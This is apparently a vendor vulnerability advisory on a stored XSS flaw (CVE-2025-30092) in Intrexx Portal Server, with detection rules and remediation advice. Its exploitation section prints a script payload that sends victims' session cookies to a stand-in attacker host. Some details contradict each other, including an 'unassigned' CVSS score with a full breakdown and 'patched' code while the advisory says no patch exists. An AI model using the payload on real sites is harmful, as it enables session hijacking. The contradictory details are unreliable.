CVE-2025-30092

Executive Summary

CVE-2025-30092 identifies a stored Cross-Site Scripting (XSS) vulnerability in the Intrexx Portal Server, affecting versions 12.x up to 12.0.2 and 11.x up to 11.9.2. The flaw resides in multiple Velocity scripts, allowing an authenticated attacker to inject arbitrary JavaScript into portal pages. Successful exploitation can lead to session hijacking, credential theft, or defacement of the portal interface. No public exploit code or patch is currently available, and the CVSS score remains unassigned. The vendor, United Planet, has not released a security advisory or patch as of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector: Network (likely)
• Attack Complexity: Low (likely)
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the crafted page)
• Scope: Changed (injection affects other portal users)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While no public exploit exists, the vulnerability is in a widely used enterprise portal, and XSS in Velocity scripts is a well-understood attack vector.

Deep Dive & Mechanics

The Intrexx Portal Server uses Apache Velocity templates for dynamic content rendering. The vulnerability arises because user-supplied input is not properly sanitized before being embedded into Velocity templates. An attacker with portal access can craft a request containing malicious JavaScript, which is then stored in the server's data store. When other users (including administrators) view the affected page, the injected script executes in their browser context.

Root Cause: Lack of output encoding in Velocity template directives. The #if, #foreach, and $variable constructs are used without escaping HTML entities, allowing raw HTML/JavaScript to be rendered.

Attack Flow:

1. Attacker logs into the Intrexx portal.
2. Attacker submits a form or uses an API endpoint that stores data in a Velocity template variable.
3. The payload (e.g., <script>alert('XSS')</script>) is stored.
4. Victim navigates to the page that renders the template.
5. The payload executes in the victim's browser.

Vulnerable vs. Patched Code

Vulnerable Code (Velocity Template):

#set($userInput = $request.getParameter("comment"))
<div class="comment">$userInput</div>

Patched Code (Velocity Template):

#set($userInput = $request.getParameter("comment"))
<div class="comment">$esc.html($userInput)</div>

The patched version uses the $esc.html() function to HTML-encode the user input, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Intrexx Portal Server (version 12.0.2 or earlier, or 11.9.2 or earlier).
• Valid user credentials with permission to submit data to a vulnerable form.

Exploitation Steps:

1. Identify a form field that is rendered via a Velocity template (e.g., a comment box, profile field, or custom data entry).
2. Inject a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Submit the form.
4. Wait for an administrator or other user to view the page containing the injected data.
5. The payload executes, exfiltrating session cookies or performing other actions.

No public exploit code is available.

Blue Team

Detection:

• Monitor web application logs for unusual characters in form fields (e.g., <script>, onerror=, javascript:).
• Use WAF rules to block common XSS patterns in POST/GET parameters.
• Deploy CSP headers to restrict script execution.

Hunting:

• Search for stored data containing HTML tags in the portal database.
• Review Velocity template files for missing $esc.html() calls.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the portal server.
• Logs: Entries in the portal access log showing %3Cscript%3E or similar URL-encoded XSS payloads.
• File System: Modified Velocity template files (.vm) that contain unescaped variables.
• Database: Rows in user-generated content tables containing <script> tags.

Detection Engineering

YARA Rule

rule detect_intrexx_xss_velocity {
    meta:
        description = "Detects XSS payloads in Intrexx Velocity templates"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30092"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $velocity_var = /\$[a-zA-Z_][a-zA-Z0-9_]*/
    condition:
        $xss_payload and $velocity_var
}

Sigma Rule

title: Intrexx Portal XSS via Velocity Template
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects XSS attempts in Intrexx Portal Server
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in rich text editors
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Intrexx Portal XSS Payload Detected";
    flow:to_server,established;
    content:"<script"; http_uri;
    nocase;
    sid:1000001;
    rev:1;
    reference:cve,2025-30092;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Velocity template rendering for user-supplied data if possible.
2. Apply input validation and output encoding using $esc.html() in all Velocity templates.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Long-Term Fix:

• Upgrade to a patched version of Intrexx Portal Server once released by United Planet.
• Conduct a code review of all Velocity templates for missing escaping.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS payloads.
• Restrict user permissions to limit who can submit data to vulnerable forms.

Valters IT